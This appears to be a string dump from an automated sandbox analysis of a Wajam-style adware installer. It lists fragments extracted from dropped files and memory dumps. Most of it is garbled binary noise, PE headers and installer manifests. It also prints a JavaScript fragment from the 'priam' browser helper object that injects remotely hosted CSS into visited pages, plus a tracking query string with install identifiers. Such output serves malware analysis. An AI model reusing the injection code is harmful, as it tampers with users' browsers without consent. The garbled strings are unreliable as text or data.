mmoooMMM111lllyyyjjjwwwrrrssszzzddd\_WWW]]]ssstttmmm}}}kkkZZZ}}}uuujjj~~~MMMtttbbbrrrrrrooowdbhiiiiiiiig]k

Ansi based on Dropped File (nsqE177.tmp)

5[c+lZC5wG|;UDQMr=TjxwK5RE^tN

Ansi based on Dropped File (nsqE177.tmp)

5_c<9>`3vz~=:<o,D<1~[!7}d-

Ansi based on Dropped File (nsqE177.tmp)

5b>p5ibkZWF'bR~OwQx R{"Qy Rv%Qu,TwAfmtttmmm```mmm~~~RRRRRR|||ggg~~~hhhiiittt]sj~zRhSjbv|`utg|k~~eys~t~f{BZ!?ucxk5QHQURTVSRJ;n-]+Y/Z1\*[.fCC76z4r1j7m:p<q=r>r9n:i<h%W~uZZZcccppp~~~pppzzzbbbbbbqqqUUUJJJggg{~ywXo`tvfzozRhp~bwg{l\qLQROOPNNMOJFyCuEvBw<v7s4p2p4q7r9r;r9q9p7p8o6m5h6eTpNNNmmmqqq~~~zzzkkkUUUsssLLLvvvrrr}}}~~~wwwog|^st}LeexYocxsexpu{y{dywj|h}9T|,HJPNJJJGC?<9x4r0m/l.l*k(h(g*h+j+h*g)f(f(g'f(f(c&`&^

Ansi based on Dropped File (nsqE177.tmp)

5e6d7d4`5_@n1^Nd`ldB.fLw7`2Z

Ansi based on Dropped File (nsqE177.tmp)

5EW*Y*`:~KD4Xnz| 8%a1x)TOh_MhjZw {\']{a7Vsa0O#:b&d<kjRR&ezHw EQJM%jLv_j

Ansi based on Dropped File (nsqE177.tmp)

5Q, CqWa/

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

5RMZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

5Y%u AtSYeE4=AujVYA3USV51AW}WtPtPtPtP_PE{AttP{t

Ansi based on Dropped File (nsqE177.tmp)

6%XhB~VRRm6{7h5]G0Moc `N6+vh^bycS4o

Ansi based on Dropped File (nsqE177.tmp)

6*=UsSP{:{G(t7^rS,0!lER;[)*66$1.LxaP;W6g]t{9u^xEtL>{rw9^85=#P,=@!!*Hm^AB":0|#^VqUMd[%BO6L&_8`bbIGJ15d$D+|]*W"(AC$+Kb*H<Lp6

Ansi based on Dropped File (nsqE177.tmp)

6/9xdK@C7>;/('(&&mmmrsryyv

Ansi based on Dropped File (nsqE177.tmp)

6061<~d*Hh/f"XyfIxP>~H#;@tEya -3K~Xc4uU:3)yhp&aA,IxojD.k!]O0xSA`+:ju4:~a

Ansi based on Dropped File (nsqE177.tmp)

616A4A2-7B38-4DBC-9093-6FE7A4A21B17}

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

62Ce^AJ'>#b #^%y999p*N[E;aL@7b/s =AR#RP$W5bDa~xG s4a?U]%KCx69iaG6)>(L*Ypuw0ndLvH<sZgK!tS^M; x.efly40Q!y^J>0

Ansi based on Dropped File (nsqE177.tmp)

64URQ3S{Tw23S{Tw2

Ansi based on Dropped File (nsqE177.tmp)

66$6/6>6F6Z6`6f6n666666666677

Ansi based on Dropped File (nsqE177.tmp)

67\Q;%G%].W~1:Q='WI`U^(&ZZ0:J`J}4

Ansi based on Dropped File (nsqE177.tmp)

6@u]_^[SVWUQ4$$+$A5@8^~;$s$;s;vh@+WSu

Ansi based on Dropped File (nsqE177.tmp)

6[/Rmy,]NJ&lj%C9p][P4|:v8

Ansi based on Dropped File (nsqE177.tmp)

6b'c,m'h8q+V<d-G

Ansi based on Dropped File (nsqE177.tmp)

6l<p<t<x<

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

6toxpWo3a6s{-dZi^+Vxd#kw9N%n!3x~P7@<ddZ<@.KO(#/c$ACPN#>i*'#W5Y__-\~wcq+KGHHST_</xwl{pN@W0~6&hZg8yWw7pV~

Ansi based on Dropped File (nsqE177.tmp)

6}Ca>{)l3jZw4uxu*iqOgC#3uB-V<D,9nc&N]wa~Kqy635R6jMtY6>fw$:`U!Kb\A!x+X{{Cyp

Ansi based on Dropped File (nsqE177.tmp)

7!71777B7H7S7`7l7r7777777777777778888$8*818>8F8M8Y8e8q8}888888888888888899A9c99999999999999:::!:&:+:6:C:M:b:n:t:::; ;MZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

7+T$$$]_^[@SVWsp7y@Du@\[:CZ,<|

Ansi based on Dropped File (nsqE177.tmp)

7+Wt[~y_q{~s}m~ny?e>v=v?g}^|?O{_|/ov;?pGro~v/<&CLC;>{N~O2<bd)33F,c0w9wIh;$Ro5Lj-C#X|%

Ansi based on Dropped File (nsqE177.tmp)

7.tmp\inetc.dll"

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

738527811

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

7576507 <5!8#B

Ansi based on Dropped File (nsqE177.tmp)

77P>iL-ebkfjw.,2`gVGpCV}G$J^q+I)GFapdZdv-RJ?^nWf^PJUJ4g/v!+"p^k,}Z}cqe{r&0gsg

Ansi based on Dropped File (nsqE177.tmp)

7;#5mp-.s:@]\w;|6?f0A!QLJ2\1+J2Z(JX9]anq+JQ*<OSJXTY_4*+eN4)alM*07+7J(T)D5([QG5t6QeT^ZbGP*gL]l&}Bco?h7;Q~s4::9[mG#4OZ.5Jfi*N[:$e;s98@iursv:;e'dT^&M0vl[]lrY\]nWsp5vHE)!11YfF3&c&20;.e0m`'x4Ix4>s@ihA/Ky4*{1~eJ~5_o7w6N{ V",a`a`r<a"a[@&=$dE3[9bTN3S9.u.s.wtusnt697bngC

Ansi based on Dropped File (nsqE177.tmp)

7<yU#*B<Z=@#VJ!

Ansi based on Dropped File (nsqE177.tmp)

7@7dF8goi\e&X|%+(C)HV3cK32YuOUg&j4c(RuzIYklM&0y8\:vsq{)c.QEckI?42w~}%zZ~>RyI_CsZ$>"pBkv[P(ODN>N*aa6

Ansi based on Dropped File (nsqE177.tmp)

7A;u`9]t$9AttJCj_^[9]jYA;t9AujYA;t5Au;t+}udY;|R9tN46WY9]uEEFEG49u?sjjW5A9;tUN9];}G;6=?+Pj5A;UYMA9]tmujVYP)YY;tPVV}YPWuRM+E@#QW1AuMh*WVY9]tuVEYEsSSSSSguVEY3TUSVuMK];sTM~EPjSM

Ansi based on Dropped File (nsqE177.tmp)

7HouZ8sZ)E~UoqxJ2b)/2eQoK<oe7zoERwO~Y M>M7

Ansi based on Dropped File (nsqE177.tmp)

7Qo%~{QQs()ckeV,an|X`53R5qj)ms]qG7C[rfKI'7V=':x'"chYi<eWq@+XhlFzJS.a#5ph}jL0@d>PN!LW)Q

Ansi based on Dropped File (nsqE177.tmp)

7wfr_\?0l:c@NF:;oKB@j3asJ,WzU\- V&W)teiuwSR)wY3nK/jpa(AO\=

Ansi based on Dropped File (nsqE177.tmp)

7XuAA0|;0<u!A|F_^[USVWj$Y3d`jI<Y8(`P ph<0 ]5 h 0Sh0Sh0SEEtvtr}tljjt_8PSU5 tGP;Et88(PSUu!@jh tu}Su E_^[UVuEPVd EH;Mup3jX^]USVWjD_Wj@0 ujEF;EXC,f

Ansi based on Dropped File (nsqE177.tmp)

7}+0pA2`y2O6+4h$<`(f&FxE]%i!/9xYJ:_f \tO/s]T7S>;8A;;8>\zgUD5yOqq:/M`t/F<46+sSHvK4s)1$Rtkz6l

Ansi based on Dropped File (nsqE177.tmp)

8#q USQ?@>CEDTTW]di111}}}"""777///%%%vvv@@@}}}sS4Z<Z<Z<Z;X<Y;jN{gjPS5^C|fzfnWu]qWS8Y@u^i|gfPP3^Bw`j}inW]ApX|ei}hmUR6U8S5tY}i}hcIO0V7V:za~hx`\@R2rXybbES5qV{elR^@`AX:Z<X:[={{_a1h;uctaYkn}[{Z` QQ}wkz1I=Naq,v="Jb9P!R>vgYO(glo__\IGC&\\\~~###wwwXXXsS4Z<Z<Z<Z<W;U6N-jQlTkyG)iOO-dFofNou\uZU6Y;X:[=da\^]Xd_^aoqc^^chZi`]YTzb^]Tru{lo@Je\N &ABYnvg {OhUj_pNe$H]`=MKIAk`_U/Lks@F\%&!$A;U%C&IC2Meu<)15FxNV^g)

Ansi based on Dropped File (nsqE177.tmp)

87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="")

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

88D7D0879DAB32E14DE5B3A805A34F98AFF34F5977

Unicode based on Runtime Data (iexplore.exe )

8>K`RNCV.e.67|,O)lm&)^6;#drnCd2^-/J,HP$cTa1`D@[;cX|,WOuG)\`CX\,>-Cvw/x+x

Ansi based on Dropped File (nsqE177.tmp)

8@h@@p@@E@T@HYP@t<}QL$tEUYE<|=,@u

Ansi based on Dropped File (nsqE177.tmp)

8_k$'f9\d+FOauFz6k>6f.!^0BTEuLWU_#)ZcDb.Q[at :,&L ^U[E7kiqFR4-amQACPql3Le,I"XYUEf"X~`5h3aLf-k5KOF,61TttAd'vmO ZE}?N!".O:NzA[V!!VhypRsAJR]R#(WU''\?&ZrMWqmf$Se9[>-<-MB}{R#&ru`t@)9EjLnMm3Q>'.Qi`W_OF#h8)fTRqzk$[FQd}_$<|*H6=nJ2X

Ansi based on Dropped File (nsqE177.tmp)

8A3]UEu{jX]

Ansi based on Dropped File (nsqE177.tmp)

8CQEjPvEU@%<@%8@eE@ @cAcAEcAcAEh@9u}ucAVWY)u=@5@}Eh@=@@1E5@+CtC+E=w}u3Eu+EjdP4@PEhx@P@EPj}3;t?9Eu PEPVuu(@t39uu.u@u)uE}?u9EjjjtS9u}uVWYuHjXIu9u}ucAVW9tEjPVWu(@t;uuu)u}uE_^[UVuEjPVu5p@,@t

Ansi based on Dropped File (nsqE177.tmp)

8jN8;bSw[

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

9 9$9(9,9094989<9@9D9H9L9P9

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

9!D](;tZz2d{Ssq6Zt6nw(k)z

Ansi based on Dropped File (nsqE177.tmp)

9%vktn>D* k)t}FSk;?1o'\IGAfiYf[h66_DRM+X?+e6,#4w!po%pp%|>{>AwPF`CAMYMmKVnGcqF~AAu msJx#sr^8'W9!p=&mYb1M#ljJYh)=u7G^8V'I\

Ansi based on Dropped File (nsqE177.tmp)

9)W!8'F<LLW&<1"[6*<A~$OnKPKGB[content/priam.png7PNG

Ansi based on Dropped File (nsqE177.tmp)

9)XW?!8'C<TKLW/"Z[fE)

Ansi based on Dropped File (nsqE177.tmp)

939C9I9e9k9{999999:2:8:@:K:S:b:::::::::::;;;/;:;C;N;V;g;o;z;;;;;;;;<!<*<E<K<[<u<<<<<<<<<==#=/===I=U=h=o=x=====>>+>4>@>F>O>V>[>a>s>y>>>>>>>>>>>?'?-?H?M?Y?_????????????? (000[0r0000000

Ansi based on Dropped File (nsqE177.tmp)

93S^(BS1_<doSc*hZH?h6R+HBv'N)[7PA_y~mN^}P+-JRAFzyjp?

Ansi based on Dropped File (nsqE177.tmp)

93W0A@<G4FuVjS0H0Aj^9PSSP1AjPjS7H0AfP0At

Ansi based on Dropped File (nsqE177.tmp)

9600.18837

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

98IIIIinetc.dllgetheadpostputOKConnectingDownloadingCancelledConnectingReconnect PauseTerminatedDialog ErrorOpen Internet ErrorOpen URL ErrorTransfer ErrorFile Open ErrorFile Write ErrorFile Read ErrorReget ErrorConnection ErrorOpenRequest ErrorSendRequest ErrorURL Parts ErrorFile Not Found (404)CreateThread ErrorProxy Error (407)Access Forbidden (403)Not Allowed (405)Request ErrorServer ErrorUnauthorized (401)FtpCreateDir failed (550)Error FTP path (550)Not ModifiedRedirectionYour internet connection seems to be not permitted or dropped out!

Ansi based on Dropped File (nsqE177.tmp)

99+9f99999999A:H:b:p:}:::::);>;I;Q;r;;;;;;;;;;;;<<<2<8<C<R<k<q<}<<<<<<<<<<<<<

Ansi based on Dropped File (nsqE177.tmp)

9===G=R=i?

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

9?Ephn5T5T)G,EV d

Ansi based on Dropped File (nsqE177.tmp)

9_*#AlJfQ$3;%*`Gd$%AE[/loFWXxJ`cdx-0h;9K(SexI\Mziby]}<2DM

Ansi based on Dropped File (nsqE177.tmp)

9BuBuuu_^[U}V5P@uuh

Ansi based on Dropped File (nsqE177.tmp)

9Fsi }EMEErNE@mDNFF

Ansi based on Dropped File (nsqE177.tmp)

9g$%JGG(+)'&%

Ansi based on Dropped File (nsqE177.tmp)

9t<%tJu+E9t<%t^]E<-u9t~<:u

Ansi based on Dropped File (nsqE177.tmp)

9tZ]uQRZ])s1}-u

Ansi based on Dropped File (nsqE177.tmp)

9uAM90uA0|77XuAA0|;0<u!A|FE_^[ht$t$@%@%@UE}

Ansi based on Dropped File (nsqE177.tmp)

9udt9uUSVW,@GtH_p3Uh3@d2d"~K_Dt3ZYYd_^[]USVW4@tK03x3Uhf3@d2d";~C8@t;3ZYYdP'v_^[]QVW,@}L@H@-@@D@4@<@M

Ansi based on Dropped File (nsqE177.tmp)

9uu3@3^]jjt$5p@0@VCV,V%u^VS%jV@VhCR'^SUV3W\$D$@3D$ 0@h@S@jC.CSD$4h`PShBX@h@hC)@pCPW)S@=pC"Cu

Ansi based on Dropped File (nsqE177.tmp)

9wFuY12_^[VW_^@S1|M=S(@tutS!*@t]C*@O=}DS(@t0tS!*@tC*@

Ansi based on Dropped File (nsqE177.tmp)

9YUS3SMAuA1A8]tEMap<uA1AuE@A8]tE`p[U DA3ES]VuWd3};u3u39AE0=rthP1AVEPW1A7hCVP3B{s9U}uFhCVPMk0uAu+Ft)>EAD;FG;v}>uuE}ur{CijCCAZf1f0JuL@;v~0C@IuCCSs3{95ATM_^3[jhcA|M}_huqE;CWh YFwh#SuYYEuvhh0AuFh=AtPY^hS=1AFpAj

Ansi based on Dropped File (nsqE177.tmp)

:*4s.<-"c

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

:: :0:5:>:MZ@!L!This program cannot be run in DOS mode.

Ansi based on Dropped File (nsqE177.tmp)

:@.rsrc`D@@.relocpJ@BUQQW39}u39}uu<@E9}VuSj_Eee;}\8}EG;E}

Ansi based on Dropped File (nsqE177.tmp)

:B:J:::::::::::;;;";*;0;7;=;D;J;R;Y;^;f;o;{;;;;;;;;;;;;;;;;;;;

Ansi based on Dropped File (nsqE177.tmp)

:L;p^o#~sF+Fz,2K<'``hMWdM\p

Ansi based on Dropped File (nsqE177.tmp)

:tds70AUk~~E1q@Qe!hI{AThHK8qRx$:@l!H8

Ansi based on Dropped File (nsqE177.tmp)

:ua-uE@8>u}E@8:uE-t@EEE9EvuEu 0E EEE8PY}~?uPmY;XW(0;uW$0;t>= 0Su#h$@S0SuN_^[! u !G!"

Ansi based on Dropped File (nsqE177.tmp)

:UDA3EXEP<PhVA\jPPNL\P1Au

Ansi based on Dropped File (nsqE177.tmp)

:Yewhu;5At6tVh0AuAtVYAGh5AuV1AEuj

Ansi based on Dropped File (nsqE177.tmp)

:z/H.hqJkC

Ansi based on Dropped File (nsqE177.tmp)

;(C(M(,)(P(BRon3nX(b(4Cnf(s(2D9'3D}s(5C9'3nf(s(3nw((4((J:4((E3n(I

Ansi based on Dropped File (nsqE177.tmp)

;)a z[B9^u!2*lwKsf*QVa1Kg!5y"!N!TDV (K%R8{p|yB2/YX ;

Ansi based on Dropped File (nsqE177.tmp)

;)B/"r~^r#ghk}-$!^66 *9^ssN-Jzpy\?@4|r t

Ansi based on Dropped File (nsqE177.tmp)

;)G#koTVUx+bKDP)q'OgZIlW\;`4%,qRJ('gu\e2!Xic,T!\Ir6uO

Ansi based on Dropped File (nsqE177.tmp)

;6'65YJXbU Qh8YD%F:/M'1(.4wBG] mc|V-a>V:%0XHIV$BlKF:K2w4t;MVMVjz<r,/Ex&pGMFl?9D7/=g3o

Ansi based on Dropped File (nsqE177.tmp)

;8|MovQUoiYS[/KY*v&`L\rx4<8%L/(f+x~xPXKI[R_U9"mO]V`=|o**j7b3}Dl>G-B\F@MMd/J]'twW^#%{_ E88K*2E/qC6;f1%anRGy!SyZ3mh8\mVxz/_;Qmj0*F\b(Sz#"^9:uz/GopH7(/H%iYsDGNUdeGuP^vb~L7(#,X&eKE1@}<E]S6XV.vTi:kngKdNu"2&I&Fw>Smu{~mRb5$ES/JV;f~5sl3>Lq%=~+64,`s8Xf4zm[!@]/2^]ogZv83_xQ%\-dk!0kj|~`/Dn=<i8s_cf#RlDBUy%LJO*HZ3lh=1D@2kV;1A`IuD:$;0BLP_k0`}4q+j:P,@!bHG_Jr3j D'dLdxOzlZt{iV<N8:oz^!Bx\JK'V\6?*sc(<|'ec<a<_&?'D:a:J:PS1GK|DxnEqavbd{pVep"FY*\P>)R+'))li^HARH1;*;E:v<k^|=7%;bSq[%B-ECE7\|Y4v=/C0

Ansi based on Dropped File (nsqE177.tmp)

;;3;;;;;;<J<Q<[<a<h<r<w<}<<<<<<<<<<<<<<<<<<<=

Ansi based on Dropped File (nsqE177.tmp)

;;;mmm$$$xxxOOOWWWSSS|||BBB+++TTTvvv444xxxJJJgggBBBUUU---OOOvvv999333iiibbbKKK444111&&&|||EEE\\\hhh\\\hhh}}}HHHXXXtttIP2AZobw>YkRi<Vm%Bl~1L@XJc{7PUlS^|%y"z$z$z$z$z$z$rW}*x!z$z$z$z$z$z$z$x ~*Q0k

Ansi based on Dropped File (nsqE177.tmp)

;bf~sl2LG}\lqMZBq*eBsq9(+afJ<`IvlDNt^-f

Ansi based on Dropped File (nsqE177.tmp)

;Bt;BuuPt\uUSVWUEEEhLF@t@h\F@Vt/hPEPtEPPEP"E8\u8Ex\

Ansi based on Dropped File (nsqE177.tmp)

;n+zS,1_Zf)Vh:nyb}x)J!ph)U,,Kk-k}>:L_UNe+}J&U*K*.F5Zj>KY)Wj`,TJ* jk-46eaT=s@0iSWY>-<r}%1 m_5R4Wn:<|CKB5Re%2rem9u@P.d,@k8Z!Pm+8lf

Ansi based on Dropped File (nsqE177.tmp)

;P8$}<`e6HDQalQ[ar

Ansi based on Dropped File (nsqE177.tmp)

;priam.Config.getHost(support_https, function(_host){// Get the website_version to add to the url// This makes sure that the css is not from the cache after an updatetry {// Include every css in siteObjectif (css_object !== null) {// Include every css in listvar css_id;var css_path;var css_url;var css_object_length = css_object.length;str += priam.Trace.add(method_name,'Found '+css_object_length+' css to insert');var website_version = prefs['website_version'];if (!website_version || website_version===undefined) website_version='0';for (var i=0; i<css_object_length;i++) {css_id = css_object[i];css_path = 'css/'+css_mapping[css_id];css_url = _host;css_url += css_path;css_url += (css_path.indexOf('?')!=-1)?'&':'?';css_url += priam.Config.getVersion();css_url +='&website_version='+website_version;priam.Page.insertCSS(document,css_id,css_u

Ansi based on Dropped File (priam_bho.dll.1505483275)

;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9|~d=uFd~=uFdn=uFd^=uFdN=uFd>=uFd.=uFd=uFd=uFdvdjY~d`QY^`[_^]U@@txtPuYYf;u]]UG@SVt8u2E1MP>YuQ8*uj?Y}^[]UtDA3ES]Vu3W}uu+kt

Ansi based on Dropped File (nsqE177.tmp)

;rF@dF~rMQ Q3WQPEPjFjPu9t!F

Ansi based on Dropped File (nsqE177.tmp)

;rPuuYt6+xuuuuYYuj<1AP01A3}8u}

Ansi based on Dropped File (nsqE177.tmp)

;tHH+-?P0Aj]PEYY=vPPg<@3;f9t71AW\uf80u3fPff?u33ffF;uj

Ansi based on Dropped File (nsqE177.tmp)

;U;;;;;;;;;<<<<<<<< <$<(<,<0<4<8<<<@<D<H<L<P<T<\<g<X$0(0,000001 1$1(1,1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1111111111111111111111122 2(20282@2H2P2X2`2h2p2x2222222222222222222222233333333 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|33333333333333333333333333333333344444444 4$4(4,4044484<42>

Ansi based on Dropped File (nsqE177.tmp)

;u;C}t(++PEPSjjPuj}td++PEPSjjPu2E++PEPSjjPd^[]Software\Borland\LocalesSoftware\Borland\Delphi\LocalesUSVWE @E}t93UhI@d0d ]ES3ZYYd

Ansi based on Dropped File (nsqE177.tmp)

;v+A;rU(3@E<hE$UU(:Ut1}vPU UM++fM

Ansi based on Dropped File (nsqE177.tmp)

;w6g>y__'O+mn<v|=

Ansi based on Dropped File (nsqE177.tmp)

;X~/>2rhJzq]_?VpzzUj[44^\xf&'9E76YyXS?y!2ABeIPhiim^oUG

Ansi based on Dropped File (nsqE177.tmp)

;|}um|3D8AJuNFN;Fe@UE RPEEPEPh@h@QFWPE}uEP PEPEPhP@h@juDPEuM&FEFENFFFFFF }MMUE;rE@#ENHm+u@FYtN@F<@ F } MMUE;rE@#MNm+FFFFF }MMUE;rE@#ENHm+tN@Fk@NHFPF }QMMUE;rE@#MNm+EV+;s++`+~M};u#;t;s+I+udu;Es+O+;Uu;t;Es+I}+dM@AO;EM}uMN:E};u#;t;s+H+udu8;}s+H+;Uu;t;}s+IE+NGH}EvEMEu;Ms+H+;Eu9u32E3Ex3y3Gqk@k@Fl@l@m@Ym@_n@o@e@^g@g@h@h@j@f@o@SVt$W;vF+;rSWv+F)^;u9u_^[USVuWj3Y}MDJu9uuE E 3u 3Cj>} Z39DuA;v;MsM 9DuJu9U UvU } >

Ansi based on Dropped File (nsqE177.tmp)

< <$<(<,<0<4<8<<<@<D<H<L<P<T<\<g<

Ansi based on Dropped File (SimpleSC.dll.523064890)

</assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD00!0:0]00000_1~1112)2T2}222!3C3t333344#4c44445&5D5o5555566 686X66677N7\777778*8X88888^9o9999999V::::;<<<"<R<<<<<&=v=|====><>W>c>>>>?*??? \<0Z000000111%1H11111122222*20252@2R223)3/353;3?3E3T3]3f3k3x3333333333333344A4d4444444555515@5u555555"636A6K6]6g6l6r6y666666V777778 898B8M8i888889+9=9E9R9n999999!:(:c:::::;;&;F;R;d;;;;;;;;;

Ansi based on Dropped File (nsqE177.tmp)

</blocklist>

Ansi based on Dropped File (ver7A1C.tmp)

</blocklistentries>

Ansi based on Dropped File (ver7A1C.tmp)

</blocklistentry>

Ansi based on Dropped File (ver7A1C.tmp)

</blocklistfullentries>

Ansi based on Dropped File (ver7A1C.tmp)

</groupentries>

Ansi based on Dropped File (ver7A1C.tmp)

</requestedPrivileges>

Ansi based on Dropped File (nsqE177.tmp)

</security>

Ansi based on Dropped File (nsqE177.tmp)

</trustInfo>

Ansi based on Dropped File (nsqE177.tmp)

</updateLink>

Unicode based on Dropped File (priam_bho.dll.1505483275)

</version>

Unicode based on Dropped File (priam_bho.dll.1505483275)

</versionentries>

Ansi based on Dropped File (ver7A1C.tmp)

<;}|4;v.;u(;}u#3@ y<u

Ansi based on Dropped File (nsqE177.tmp)

<<<!<A<G<_<<<<<<<,=5=A=~===>?00012K2V2\2b2h2p222223&3E3]3|3333333333344@4555555,626<666666667)7O7m7t7x7|77777777777R8]8x888888899999 9$9(9,9v9|99999999:::::::::::;;1;<;D;T;Z;k;;;;;;;'<<<<5=M=W=r=z======>2>~>>>>><?B?N???????P%0X0^0c0k0{00002j3~3367H9999;>>>> >$>(>,>l>~>?*?L???0000"1_1n111111_3k3q3v3|3334>4d4444455b5l55555!636a6666666677+737;7G7p7x777X8]8o888899$969M9[9a999999999>:::;;;;<<<=k>>>??-?????t22223 373\33,4L5,6667/78777778C8819T9m9z99A::k;~;;;;<<:<<<<<=D=O=}=====">G>T>|>>>>-?W?w???1X112;3^337788*8P8b8t8888888899(9::::6;>;Y;^;c;h;x;;;;;<;<@<G<L<S<X<f<<<<^=m={==========>>>>!>'>1>:>E>J>S>]>h>>>>?????`O0000151>1I123s44F5M555+6X6678=9G99

Ansi based on Dropped File (nsqE177.tmp)

<<<LLL666cccbbb{{{]]]nnn:::RRR___AAAAAAnnn___{{{nnn666UUUEEEttt^^^lllEEESSS}}}>>>ZZZAAA<<<VVVKKK!!!)))RRRhhhCCC000---VVV}}}EEEnnn%%%888ZZZSSSIII```{{{]]]dddMMMDDDIII;;;VVVGGGNNN...>>>GGGEEEGGGFFF###,,,nnnHHHwww___hhh OOODDDHHH666aaaVVV777...GGGEEEHHH:::EEEkkkAAA@@@;;;YYYKKK!!!///OOOEEEEEELLL!!!///'''VVV;;;---___&&&AAAIIIDDDJJJ***kkk###LLL

Ansi based on Dropped File (nsqE177.tmp)

<<<Obsolete>>

Unicode based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

<<T<<<<<<==;=D=P=t=}=====>m>>>>>>>?-?5?;?g????0K000122|22)3<3M3\3l3333J4o4444555&6>6N6e666667777788M8e8|889$9H9i99 :::C:M:Z:c:j:n:t:x:~::::::::::@;W;<b<<<=H=n===>-?????@00p0001"1+121R1w11111111122

Ansi based on Dropped File (nsqE177.tmp)

<=ttu+A^]+AUQW3tL9t@9uV@jPYYuujYt+P7Yu&E^_UES3];ujYjnV0Wu;tSj=VYY};t@;t<38_EA;Au

Ansi based on Dropped File (nsqE177.tmp)

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

<?xml version="1.0" encoding="utf-8"?>

Ansi based on Dropped File (ver7A1C.tmp)

<_on)(Dixv$jQ/V`c&bqtgj,DvC.R#cKP0Bq

Ansi based on Dropped File (nsqE177.tmp)

<AD0tSPYeD0tSYEMEE]S+QYUVuFttvHf3YFF^]fQSut7$ffAfA fA0fA@fAPfA`fApHut7tIfIHut3tIJutAHu[X+3RtAJutIKuZUj

Ansi based on Dropped File (nsqE177.tmp)

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel> </requestedPrivileges> </security> </trustInfo></assembly>PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPAD

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

Ansi based on Dropped File (ver7A1C.tmp)

